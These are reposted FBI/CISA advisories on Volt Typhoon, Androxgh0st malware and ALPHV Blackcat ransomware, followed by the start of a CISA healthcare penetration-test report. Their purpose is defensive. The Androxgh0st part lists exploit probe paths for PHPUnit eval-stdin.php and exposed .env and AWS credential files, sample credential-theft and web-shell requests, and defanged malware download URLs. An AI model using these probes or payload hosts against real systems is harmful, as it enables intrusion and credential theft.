Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.
Peripheral Device Discovery
T1120
Volt Typhoon has obtained the victim’s system screen dimension and display devices information.
Permission Groups Discovery
T1069
Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.
Process Discovery
T1057
Volt Typhoon executed
tasklist /v
to gather a detailed process listing.Query Registry
T1012
Volt Typhoon has interacted with a PuTTY application by enumerating existing stored sessions.
Software Discovery
T1518
Volt Typhoon has obtained the victim’s list of applications installed on the victim’s system.
System Information Discovery
T1082
Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.
System Location Discovery
T1614
Volt Typhoon has obtained the victim’s system current locale.
System Network Configuration Discovery: Internet Connection Discovery
T1016.001
Volt Typhoon employs
ping
with various IP addresses to check network connectivity andnet start
to list running services.System Owner/User Discovery
T1033
Volt Typhoon has used commercial tools, LOTL utilities, and appliances already present on the system for system information, network service, group, and user discovery.
System Service Discovery
T1007
Volt Typhoon employs
ping
with various IP addresses to check network connectivity andnet start
to list running services.System Time Discovery
T1124
Volt Typhoon has obtained the victim’s system timezone.
Lateral Movement
Technique Title
ID
Use
Remote Service Session Hijacking
T1563
Volt Typhoon potentially had access to a range of critical PuTTY profiles, including those for water treatment plants, water wells, an electrical substation, operational technology systems, and network security devices. This would enable them to access these critical systems.
Remote Services: Cloud Services
T1021.007
During the period of Volt Typhoon’s known network presence, there were anomalous login attempts to an Azure tenant potentially using credentials previously compromised from theft of
NTDS.dit
.Remote Services: Remote Desktop Protocol
T1021.001
Volt Typhoon has moved laterally to the Domain Controller via an interactive RDP session using a compromised account with domain administrator privileges.
Use Alternate Authentication Material
T1550
Volt Typhoon may be capable of using other methods such as Pass the Hash or Pass the Ticket for lateral movement.
Valid Accounts: Cloud Accounts
T1078.004
During the period of Volt Typhoon’s known network presence, there were anomalous login attempts to an Azure tenant potentially using credentials previously compromised from theft of
NTDS.dit
.Collection
Technique Title
ID
Use
Archive Collected Data
T1560
Volt Typhoon collected sensitive information obtained from a file server in multiple zipped files.
Archive Collected Data: Archive via Utility
T1560.001
Volt Typhoon has compressed and archived the extracted
ntds.dit
and accompanying registry files (by executingronf.exe
, which was likely a renamed version ofrar.exe
).Data Staged
T1074
Volt Typhoon accessed the file
C:Users{redacted}DownloadsHistory.zip
, which presumably contained data from the User Data directory of the user’s Chrome browser, which the actors likely saved in the Downloads directory for exfiltration.Screen Capture
T1113
Volt Typhoon has obtained a screenshot of the victim’s system using two libraries (
gdi32.dll
andgdiplus.dll
)Command and Control
Technique Title
ID
Use
Encrypted Channel
T1573
Volt Typhoon has setup FRP clients on a victim’s corporate infrastructure to establish covert communications channels for command and control.
Ingress Tool Transfer
T1105
Volt Typhoon uses legitimate, but outdated versions of network admin tools. For example, in one confirmed compromise, actors downloaded an outdated version of
comsvcs.dll
, on the DC in a non-standard folder.Proxy
T1090
Volt Typhoon has setup FRP clients on a victim’s corporate infrastructure to establish covert communications channels for command and control.
Proxy: Internal Proxy
T1090.001
Volt Typhoon has used the
netsh
command, a legitimate Windows command, to create a PortProxy registry modification on the PRTG server.Proxy: Multi-hop Proxy
T1090.003
Volt Typhoon uses multi-hop proxies for command-and-control infrastructure.
Exfiltration
Technique Title
ID
Use
Exfiltration Over Alternative Protocol
T1048
Volt Typhoon exfiltrated files via Server Message Block (SMB).
Source de l’article sur us-cert.gov
Known Indicators of Compromise Associated with Androxgh0st Malware
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationSUMMARY
The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint Cybersecurity Advisory (CSA) to disseminate known indicators of compromise (IOCs) and tactics, techniques, and procedures (TTPs) associated with threat actors deploying Androxgh0st malware. Multiple, ongoing investigations and trusted third party reporting yielded the IOCs and TTPs, and provided information on Androxgh0st malware’s ability to establish a botnet that can further identify and compromise vulnerable networks.
The FBI and CISA encourage organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of cybersecurity incidents caused by Androxgh0st infections.
Download the PDF version of this report:
(PDF, 576.40 KB
)
For a downloadable copy of IOCs, see:
(XML, 45.81 KB
)
(JSON, 39.87 KB
)
TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques with corresponding mitigation and/or detection recommendations. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Overview
Androxgh0st malware has been observed establishing a botnet [T1583.005] for victim identification and exploitation in target networks. According to open source reporting[1], Androxgh0st is a Python-scripted malware [T1059.006] primarily used to target .env files that contain confidential information, such as credentials [T1552.001] for various high profile applications (i.e., Amazon Web Services [AWS], Microsoft Office 365, SendGrid, and Twilio from the Laravel web application framework). Androxgh0st malware also supports numerous functions capable of abusing the Simple Mail Transfer Protocol (SMTP), such as scanning [T1046] and exploiting exposed credentials [T1078] and application programming interfaces (APIs) [T1114], and web shell deployment [T1505.003].
Targeting the PHPUnit
Androxgh0st malware TTPs commonly involves the use of scripts, conducting scanning [T1595] and searching for websites with specific vulnerabilities. In particular, threat actors deploying Androxgh0st have been observed exploiting CVE-2017-9841 to remotely run hypertext preprocessor (PHP) code on fallible websites via PHPUnit [T1190]. Websites using the PHPUnit module that have internet-accessible (exposed)
/vendor
folders are subject to maliciousHTTP POST
requests to the/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
uniform resource identifier (URI). This PHP page runs PHP code submitted through a POST request, which allows the threat actors to remotely execute code.Malicious actors likely use Androxgh0st to download malicious files [T1105] to the system hosting the website. Threat actors are further able to set up a fake (illegitimate) page accessible via the URI to provide backdoor access to the website. This allows threat actors to download additional malicious files for their operations and access databases.
Laravel Framework Targeting
Androxgh0st malware establishes a botnet to scan for websites using the Laravel web application framework. After identifying websites using the Laravel web application, threat actors attempt to determine if the domain’s root-level
.env
file is exposed and contains credentials for accessing additional services. Note:.env
files commonly store credentials and tokens. Threat actors often target.env
files to steal these credentials within the environment variables.If the
.env
file is exposed, threat actors will issue a GET request to the/.env
URI to attempt to access the data on the page. Alternatively, Androxgh0st may issue a POST request to the same URI with a POST variable named0x[]
containing certain data sent to the web server. This data is frequently used as an identifier for the threat actor. This method appears to be used for websites in debug mode (i.e., when non-production websites are exposed to the internet). A successful response from either of these methods allows the threat actors to look for usernames, passwords, and/or other credentials pertaining to services such as email (via SMTP) and AWS accounts.Androxgh0st malware can also access the application key [TA0006] for the Laravel application on the website. If the threat actors successfully identify the Laravel application key, they will attempt exploitation by using the key to encrypt PHP code [T1027.010]. The encrypted code is then passed to the website as a value in the cross-site forgery request (XSRF) token cookie,
XSRF-TOKEN
, and included in a future GET request to the website. The vulnerability defined in CVE-2018-15133 indicates that on Laravel applications, XSRF token values are subject to an un-serialized call, which can allow for remote code execution. In doing so, the threat actors can upload files to the website via remote access.Apache Web Server Targeting
In correlation with CVE-2021-41773, Androxgh0st actors have been observed scanning vulnerable web servers [T1595.002] running Apache HTTP Server versions 2.4.49 or 2.4.50. Threat actors can identify uniform resource locators (URLs) for files outside root directory through a path traversal attack [T1083]. If these files are not protected by the “request all denied” configuration and Common Gateway Interface (CGI) scripts are enabled, this may allow for remote code execution.
If threat actors obtain credentials for any services using the above methods, they may use these credentials to access sensitive data or use these services to conduct additional malicious operations. For example, when threat actors successfully identify and compromise AWS credentials from a vulnerable website, they have been observed attempting to create new users and user policies [T1136]. Additionally, Andoxgh0st actors have been observed creating new AWS instances to use for conducting additional scanning activity [T1583.006].
INDICATORS OF COMPROMISE (IOCs)
Based on investigations and analysis, the following requests are associated with Androxgh0st activity:
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/.env
[0x%5B%5D=androxgh0st]
ImmutableMultiDict([('0x[]', 'androxgh0st')])
In both previously listed POST request strings, the name
androxgh0st
has been observed to be replaced with other monikers.Additional URIs observed by the FBI and a trusted third party used by these threat actors for credential exfiltration include:
/info
/phpinfo
/phpinfo.php
/?phpinfo=1
/frontend_dev.php/$
/_profiler/phpinfo
/debug/default/view?panel=config
/config.json
/.json
/.git/config
/live_env
/.env.dist
/.env.save
/environments/.env.production
/.env.production.local
/.env.project
/.env.development
/.env.production
/.env.prod
/.env.development.local
/.env.old
//.env
.env
file, for example/docker/.env or /local/.env
./.aws/credentials
/aws/credentials
/.aws/config
/.git
/.test
/admin
/backend
/app
/current
/demo
/api
/backup
/beta
/cron
/develop
/Laravel
/laravel/core
/gists/cache
/test.php
/info.php
//.env
/admin-app/.env%20
/laravel/.env%20
/shared/.env%20
/.env.project%20
/apps/.env%20
/development/.env%20
/live_env%20
/.env.development%20
Targeted URIs for web-shell drop:
/.env/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//lib/phpunit/phpunit/Util/PHP/eval-stdin.php
//lib/phpunit/src/Util/PHP/eval-stdin.php
//lib/phpunit/Util/PHP/eval-stdin.php
//new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//phpunit/phpunit/src/Util/PHP/eval-stdin.php
//phpunit/phpunit/Util/PHP/eval-stdin.php
//phpunit/src/Util/PHP/eval-stdin.php
//phpunit/Util/PHP/eval-stdin.php
//protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/evalstdin.php
//vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
//vendor/phpunit/src/Util/PHP/eval-stdin.php
//vendor/phpunit/Util/PHP/eval-stdin.php
//wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
//www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/admin/ckeditor/plugins/ajaxplorer/phpunit/src/Util/PHP/eval-stdin.php
/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/api/vendor/phpunit/phpunit/src/Util/PHP/Template/eval-stdin.php
/lab/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/laravel_web/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/laravel52/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/laravelao/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/lib/phpunit/phpunit/Util/PHP/eval-stdin.php
/lib/phpunit/phpunit/Util/PHP/eval
stdin.php%20/lib/phpunit/src/Util/PHP/eval-stdin.php
/lib/phpunit/src/Util/PHP/eval-stdin.php
/lib/phpunit/Util/PHP/eval-stdin.php
/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/libraries/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/phpunit/phpunit/Util/PHP/eval-stdin.php
/phpunit/phpunit/Util/PHP/eval-stdin.php%20/phpunit/src/Util/PHP/evalstdin.php
/phpunit/src/Util/PHP/eval-stdin.php
./phpunit/Util/PHP/eval-stdin.php
/phpunit/Util/PHP/eval-stdin.php%20/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php.dev
/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php
/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php%20/vendor/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/Util/PHP/eval-stdin.php
/vendor/phpunit/Util/PHP/eval-stdin.php%20
/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
An example of attempted credential exfiltration through (honeypot) open proxies:
POST /.aws/credentials HTTP/1.1
host: www.example.com
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
accept-encoding: gzip, deflate
accept: */*
connection: keep-alive
content-length: 20
content-type: application/x-www-form-urlencoded
0x%5B%5D=androxgh0st
An example of attempted web-shell drop through (honeypot) open proxies:
GET http://www.example.com/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1
host: www.example.com
user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 Edg/116.0.1938.76
accept-encoding: gzip, deflate
accept: */*
connection: keep-alive
x-forwarded-for: 200.172.238.135
content-length: 279
Monikers used instead of Androxgh0st (0x%5B%5D=???):
Example malware drops through eval-stdin.php:
hxxps://mc.rockylinux[.]si/seoforce/triggers/files/evil.txt
59e90be75e51c86b4b9b69dcede2cf815da5a79f7e05cac27c95ec35294151f4
hxxps://chainventures.co[.]uk/.well-known/aas
dcf8f640dd7cc27d2399cce96b1cf4b75e3b9f2dfdf19cee0a170e5a6d2ce6b6
hxxp://download.asyncfox[.]xyz/download/xmrig.x86_64
23fc51fde90d98daee27499a7ff94065f7ed4ac09c22867ebd9199e025dee066
hxxps://pastebin[.]com/raw/zw0gAmpC
ca45a14d0e88e4aa408a6ac2ee3012bf9994b16b74e3c66b588c7eabaaec4d72
hxxp://raw.githubusercontent[.]com/0x5a455553/MARIJUANA/master/MARIJUANA.php
0df17ad20bf796ed549c240856ac2bf9ceb19f21a8cae2dbd7d99369ecd317ef
hxxp://45.95.147[.]236/tmp.x86_64
6b5846f32d8009e6b54743d6f817f0c3519be6f370a0917bf455d3d114820bbc
hxxp://main.dsn[.]ovh/dns/pwer
bb7070cbede294963328119d1145546c2e26709c5cea1d876d234b991682c0b7
hxxp://tangible-drink.surge[.]sh/configx.txt
de1114a09cbab5ae9c1011ddd11719f15087cc29c8303da2e71d861b0594a1ba
MITRE ATT&CK TACTICS AND TECHNIQUES
See Tables 1-10 for all referenced threat actor tactics and techniques in this advisory.
Active Scanning: Vulnerability Scanning
T1595.002
The threat actor scans websites for specific vulnerabilities to exploit.
Acquire Infrastructure: Botnet
T1583.005
The threat actor establishes a botnet to identify and exploit victims.
Acquire Infrastructure: Web Services
T1583.006
The threat actor creates new AWS instances to use for scanning.
Exploit Public-Facing Application
T1190
The threat actor exploits CVE-2017-9841 to remotely run hypertext preprocessor (PHP) code on websites via PHPUnit.
Command and Scripting Interpreter: Python
T1059.006
The threat actor uses Androxgh0st, a Python-scripted malware, to target victim files.
Valid Accounts
T1078
The threat actor abuses the simple mail transfer protocol (SMTP) by exploiting exposed credentials.
Server Software Component: Web Shell
T1505.003
The threat actor deploys web shells to maintain persistent access to systems.
Create Account
T1136
The threat actor attempts to create new users and user policies with compromised AWS credentials from a vulnerable website.
Obfuscated Files or Information: Command Obfuscation
T1027.010
The threat actor can exploit a successfully identified Laravel application key to encrypt PHP code, which is then passed to the site as a value in the XSRF-TOKEN cookie.
Credential Access
TA0006
The threat actor can access the application key of the Laravel application on the site.
Unsecured Credentials: Credentials in Files
T1552.001
The threat actor targets .env files that contain confidential credential information.
File and Directory Discovery
T1083
The threat actor can identify URLs for files outside root directory through a path traversal attack.
Network Service Discovery
T1046
The threat actor uses Androxgh0st to abuse simple mail transfer protocol (SMTP) via scanning.
Email Collection
T1114
The threat actor interacts with application programming interfaces (APIs) to gather information.
Ingress Tool Transfer
T1105
The threat actor runs PHP code through a POST request to download malicious files to the system hosting the website.
MITIGATIONS
The FBI and CISA recommend implementing the mitigations below to improve your organization’s cybersecurity posture based on Androxgh0st threat actor activity. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
These mitigations apply to all critical infrastructure organizations and network defenders. FBI and CISA recommend that software manufacturers incorporate secure by design principles and tactics into their software development practices, limiting the impact of actor techniques and strengthening their customers’ security posture. For more information on secure by design, see CISA’s Secure by Design webpage.
The FBI and CISA recommend network defenders apply the following mitigations to limit potential adversarial use of common system and network discovery techniques and to reduce the risk of compromise by actors using Androxgh0st malware.
.env
files and revoke them. All cloud providers have safer ways to provide temporary, frequently rotated credentials to code running inside a web server without storing them in any file..env
file for unauthorized access or use./vendor/phpunit/phpunit/src/Util/PHP
folder..php
file.VALIDATE SECURITY CONTROLS
In addition to applying mitigations, FBI and CISA recommend exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. The authoring agencies recommend testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
FBI and CISA recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
REPORTING
The FBI encourages organizations to report information concerning suspicious or criminal activity to their local FBI field office. With regards to specific information that appears in this CSA, indicators should always be evaluated in light of an organization’s complete security situation.
When available, each report submitted should include the date, time, location, type of activity, number of people, and type of equipment used for the activity, the name of the submitting company or organization, and a designated point of contact. Reports can be submitted to the FBI Internet Crime Complaint Center (IC3), a local FBI Field Office, or to CISA via its Incident Reporting System or its 24/7 Operations Center at report@cisa.gov or (888) 282-0870.
RESOURCES
REFERENCES
ACKNOWLEDGEMENTS
Amazon contributed to this CSA.
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. FBI and CISA do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by FBI and CISA.
VERSION HISTORY
January 16, 2024: Initial version.
Source de l’article sur us-cert.gov
#StopRansomware: ALPHV Blackcat
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationSUMMARY
Note: This joint Cybersecurity Advisory (CSA) is part of an ongoing #StopRansomware effort to publish advisories for network defenders that detail various ransomware variants and ransomware threat actors. These #StopRansomware advisories include recently and historically observed tactics, techniques, and procedures (TTPs) and indicators of compromise (IOCs) to help organizations protect against ransomware. Visit stopransomware.gov to see all #StopRansomware advisories and to learn more about other ransomware threats and no-cost resources.
The Federal Bureau of Investigation (FBI) and the Cybersecurity and Infrastructure Security Agency (CISA) are releasing this joint CSA to disseminate known IOCs and TTPs associated with the ALPHV Blackcat ransomware as a service (RaaS) identified through FBI investigations as recently as Dec. 6, 2023.
This advisory provides updates to the FBI FLASH BlackCat/ALPHV Ransomware Indicators of Compromise released April 19, 2022. Since previous reporting, ALPHV Blackcat actors released a new version of the malware, and the FBI identified over 1000 victims worldwide targeted via ransomware and/or data extortion.
FBI and CISA encourage critical infrastructure organizations to implement the recommendations in the Mitigations section of this CSA to reduce the likelihood and impact of ALPHV Blackcat ransomware and data extortion incidents.
In February 2023, ALPHV Blackcat administrators announced the ALPHV Blackcat Ransomware 2.0 Sphynx update, which was rewritten to provide additional features to affiliates, such as better defense evasion and additional tooling. This ALPHV Blackcat update has the capability to encrypt both Windows and Linux devices, and VMWare instances. ALPHV Blackcat affiliates have extensive networks and experience with ransomware and data extortion operations. According to the FBI, as of September 2023, ALPHV Blackcat affiliates have compromised over 1000 entities—nearly 75 percent of which are in the United States and approximately 250 outside the United States—, demanded over $500 million, and received nearly $300 million in ransom payments.
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TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK® for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for a table of the threat actors’ activity mapped to MITRE ATT&CK tactics and techniques. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
ALPHV Blackcat affiliates use advanced social engineering techniques and open source research on a company to gain initial access. Actors pose as company IT and/or helpdesk staff and use phone calls or SMS messages [T1598] to obtain credentials from employees to access the target network [T1586]. ALPHV Blackcat affiliates use uniform resource locators (URLs) to live-chat with victims to convey demands and initiate processes to restore the victims’ encrypted files.
After gaining access to a victim network, ALPHV Blackcat affiliates deploy remote access software such as AnyDesk, Mega sync, and Splashtop in preparation of data exfiltration. After gaining access to networks, ALPHV Blackcat affiliates use legitimate remote access and tunneling tools, such as Plink and Ngrok [S0508]. ALPHV Blackcat affiliates claim to use Brute Ratel C4 [S1063] and Cobalt Strike [S1054] as beacons to command and control servers. ALPHV Blackcat affiliates use the open source adversary-in-the-middle attack [T1557] framework Evilginx2, which allows them to obtain multifactor authentication (MFA) credentials, login credentials, and session cookies. The actors also obtain passwords from the domain controller, local network, and deleted backup servers to move laterally throughout the network [T1555].
To evade detection, affiliates employ allowlisted applications such as Metasploit. Once installed on the domain controller, the logs are cleared on the exchange server. Then Mega.nz or Dropbox are used to move, exfiltrate, and/or download victim data. The ransomware is then deployed, and the ransom note is embedded as a file.txt. According to public reporting, affiliates have additionally used POORTRY and STONESTOP to terminate security processes.
Some ALPHV Blackcat affiliates exfiltrate data after gaining access and extort victims without deploying ransomware. After exfiltrating and/or encrypting data, ALPHV Blackcat affiliates communicate with victims via TOR [S0183], Tox, email, or encrypted applications. The threat actors then delete victim data from the victim’s system.
ALPHV Blackcat affiliates offer to provide unsolicited cyber remediation advice as an incentive for payment, offering to provide victims with “vulnerability reports” and “security recommendations” detailing how they penetrated the system and how to prevent future re-victimization upon receipt of ransom payment.
MITRE ATT&CK TACTICS AND TECHNIQUES
See Table 1 through Table 3 for all referenced threat actor tactics and techniques in this advisory.
Phishing for Information
T1598
ALPHV Blackcat affiliates pose as company IT and/or helpdesk staff using phone calls or SMS messages to obtain credentials from employees to access the target network.
Compromise Accounts
T1586
ALPHV Blackcat affiliates use compromised accounts to gain access to victims’ networks.
Obtain Credentials from Passwords Stores
T1555
ALPHV Blackcat affiliates obtain passwords from local networks, deleted servers, and domain controllers.
Adversary-in-the-Middle
T1557
ALPHV Blackcat/ALPHV affiliates use the open-source framework Evilginx2 to obtain MFA credentials, login credentials, and session cookies for targeted networks.
INCIDENT RESPONSE
If compromise is detected, organizations should:
MITIGATIONS
These mitigations apply to all critical infrastructure organizations and network defenders. The FBI and CISA recommend that software manufactures incorporate secure-by-design and -default principles and tactics into their software development practices limiting the impact of ransomware techniques, thus, strengthening the security posture for their customers.
For more information on secure by design, see CISA’s Secure by Design webpage and joint guide.
FBI and CISA recommend organizations implement the mitigations below to improve your organization’s cybersecurity posture based on threat actor activity and to reduce the risk of compromise by ALPHV Blackcat threat actors. These mitigations align with the Cross-Sector Cybersecurity Performance Goals (CPGs) developed by CISA and the National Institute of Standards and Technology (NIST). The CPGs provide a minimum set of practices and protections that CISA and NIST recommend all organizations implement. CISA and NIST based the CPGs on existing cybersecurity frameworks and guidance to protect against the most common and impactful threats, tactics, techniques, and procedures. Visit CISA’s Cross-Sector Cybersecurity Performance Goals for more information on the CPGs, including additional recommended baseline protections.
VALIDATE SECURITY CONTROLS
In addition to applying mitigations, CISA recommends exercising, testing, and validating your organization’s security program against the threat behaviors mapped to the MITRE ATT&CK for Enterprise framework in this advisory. CISA recommends testing your existing security controls inventory to assess how they perform against the ATT&CK techniques described in this advisory.
To get started:
CISA and FBI recommend continually testing your security program, at scale, in a production environment to ensure optimal performance against the MITRE ATT&CK techniques identified in this advisory.
RESOURCES
DISCLAIMER
The information in this report is being provided “as is” for informational purposes only. CISA and FBI do not endorse any commercial entity, product, company, or service, including any entities, products, or services linked within this document. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by CISA and FBI.
VERSION HISTORY
December 19, 2023: Initial version.
Source de l’article sur us-cert.gov
Enhancing Cyber Resilience: Insights from the CISA Healthcare and Public Health Sector Risk and Vulnerability Assessment
Sécurité de l'information et du SI, Sécurité de l’information, Sécurité du système d’informationSUMMARY
In January 2023, the Cybersecurity and Infrastructure Security Agency (CISA) conducted a Risk and Vulnerability Assessment (RVA) at the request of a Healthcare and Public Health (HPH) sector organization to identify vulnerabilities and areas for improvement. An RVA is a two-week penetration test of an entire organization, with one week spent on external testing and one week spent assessing the internal network. As part of the RVA, the CISA assessment team conducted web application, phishing, penetration, database, and wireless assessments. The assessed organization was a large organization deploying on-premises software.
During the one-week external assessment, the assessment team did not identify any significant or exploitable conditions in externally available systems that may allow a malicious actor to easily obtain initial access to the organization’s network. Furthermore, the assessment team was unable to gain initial access to the assessed organization through phishing. However, during internal penetration testing, the team exploited misconfigurations, weak passwords, and other issues through multiple attack paths to compromise the organization’s domain.
In coordination with the assessed organization, CISA is releasing this Cybersecurity Advisory (CSA) detailing the RVA team’s activities and key findings to provide network defenders and software manufacturers recommendations for improving their organizations’ and customers’ cyber posture, which reduces the impact of follow-on activity after initial access. CISA encourages the HPH sector and other critical infrastructure organizations deploying on-premises software, as well as software manufacturers, to apply the recommendations in the Mitigations section of this CSA to harden networks against malicious activity and to reduce the likelihood of domain compromise.
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TECHNICAL DETAILS
Note: This advisory uses the MITRE ATT&CK for Enterprise framework, version 14. See the MITRE ATT&CK Tactics and Techniques section for tables of the threat actors’ activity mapped to MITRE ATT&CK® tactics and techniques with corresponding mitigation and/or detection recommendations. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK’s Best Practices for MITRE ATT&CK Mapping and CISA’s Decider Tool.
Introduction
CISA has authority to, upon request, provide analyses, expertise, and other technical assistance to critical infrastructure owners and operators and provide operational and timely technical assistance to federal and non-federal entities with respect to cybersecurity risks. See generally 6 U.S.C. §§ 652(c)(5), 659(c)(6). After receiving a request for an RVA from the organization and coordinating high-level details of the engagement with certain personnel at the organization, CISA conducted the RVA in January 2023.
During RVAs, CISA tests the security posture of an organization’s network over a two-week period to determine the risk, vulnerability, and exploitability of systems and networks. During the first week (the external phase), the team tests public facing systems to identify exploitable vulnerabilities. During the second week (the internal phase), the team determines the susceptibility of the environment to an actor with internal access (e.g., malicious cyber actor or insider threat). The assessment team offers five services:
The assessed organization was in the HPH sector. See Table 1 for services in-scope for this RVA.
External Assessment
Publicly available HPH-organization endpoints discovered during scanning
Penetration Testing
Phishing Assessment
Web Application Assessment
Internal Assessment
Internally available HPH-organization endpoints discovered during scanning
Database Assessment
Penetration Testing
Web Application Assessment
Wireless Assessment
Phase I: External Assessment
Penetration and Web Application Testing
The CISA team did not identify any significant or exploitable conditions from penetration or web application testing that may allow a malicious actor to easily obtain initial access to the organization’s network.
Phishing Assessment
The CISA team conducted phishing assessments that included both user and systems testing.
The team’s phishing assessment was unsuccessful because the organization’s defensive tools blocked the execution of the team’s payloads. The payload testing resulted in most of the team’s payloads being blocked by host-based protections through a combination of browser, policy, and antivirus software. Some of the payloads were successfully downloaded to disk without being immediately removed, but upon execution, the antivirus software detected the malicious code and blocked it from running. Some payloads appeared to successfully evade host-based protections but did not create a connection to the command and control (C2) infrastructure, indicating they may have been incompatible with the system or blocked by border protections.
Since none of the payloads successfully connected to the assessment team’s C2 server, the team conducted a credential harvesting phishing campaign. Users were prompted to follow a malicious link within a phishing email under the pretext of verifying tax information and were then taken to a fake login form.
While twelve unique users from the organization submitted credentials through the malicious form, the CISA team was unable to leverage the credentials because they had limited access to external-facing resources. Additionally, the organization had multi-factor authentication (MFA) implemented for cloud accounts. Note: At the time of the assessment, the CISA team’s operating procedures did not include certain machine-in-the-middle attacks that could have circumvented the form of MFA in place. However, it is important to note that tools like Evilginx[1] can be leveraged to bypass non-phishing resistant forms of MFA. Furthermore, if a user executes a malicious file, opening a connection to a malicious actor’s command and control server, MFA will not prevent the actor from executing commands and carrying out actions under the context of that user.
Phase II: Internal Assessment
Database, Web Application, and Wireless Testing
The CISA assessment team did not identify any significant or exploitable conditions from database or wireless testing that may allow a malicious actor to easily compromise the confidentiality, integrity, and availability of the tested environment.
The team did identify default credentials [T1078.001] for multiple web interfaces during web application testing and used default printer credentials while penetration testing. (See the Attack Path 2 section for more information.)
Penetration Testing
